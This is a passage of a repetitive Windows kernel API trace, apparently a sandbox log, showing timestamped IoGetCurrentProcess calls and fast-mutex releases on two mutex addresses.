ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.506] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.507] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.507] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.522] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.522] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.523] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.537] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.538] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.538] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.568] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.584] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.584] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.584] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.601] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.620] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.620] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.620] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.645] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.662] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.662] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.662] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.692] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.709] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.709] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.709] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.724] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.724] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.724] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.729] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.729] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.729] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.794] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.843] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.843] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.843] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.871] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.871] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.871] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.889] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.912] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.913] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.913] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.928] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.944] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.960] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.960] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.960] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.989] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.005] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.036] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.066] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.082] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.107] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.129] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.136] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.136] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.136] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.169] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.169] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.169] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.169] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.170] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.170] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.170] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.170] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.170] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.170] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.170] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.170] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.171] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.171] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.218] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.218] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.219] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.247] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.247] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.247] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.263] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.263] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.263] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.293] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.310] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.310] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.310] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.340] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.356] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.356] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.356] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.395] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.396] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.414] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.436] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.436] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.436] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.455] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.455] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.455] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.476] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.476] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.476] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.497] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.497] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.498] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.498] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.498] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.498] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.498] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.498] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.498] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.498] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.499] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.499] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.499] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.499] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.499] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.499] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.500] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.525] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.525] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.525] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.555] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.586] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.618] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.618] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.619] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.649] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.649] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.649] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.605] IoGetCurrentProcess () returned 0xffffe000011ff900 [0150.605] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.605] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.608] IoGetCurrentProcess () returned 0xffffe000011ff900 [0150.608] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.608] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.653] IoGetCurrentProcess () returned 0xffffe000011ff900 [0150.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.689] IoGetCurrentProcess () returned 0xffffe000011ff900 [0150.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.716] IoGetCurrentProcess () returned 0xffffe000011ff900 [0150.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.744] IoGetCurrentProcess () returned 0xffffe000011ff900 [0150.744] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.745] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.760] IoGetCurrentProcess () returned 0xffffe000011ff900 [0150.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.790] IoGetCurrentProcess () returned 0xffffe000011ff900 [0150.790] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.790] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.011] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.011] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.011] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.051] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.067] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.096] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.112] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.128] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.159] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.175] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.191] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.207] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.237] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.253] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.269] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.284] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.300] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.316] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.345] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.361] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.377] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.377] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.377] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.392] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.392] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.392] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.411] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.439] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.439] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.439] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.442] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.496] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.496] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.496] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.544] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.544] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.544] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.569] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.586] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.613] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.632] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.661] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.676] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.706] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.722] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.752] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.755] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.770] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.770] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.771] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.771] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.772] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.772] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 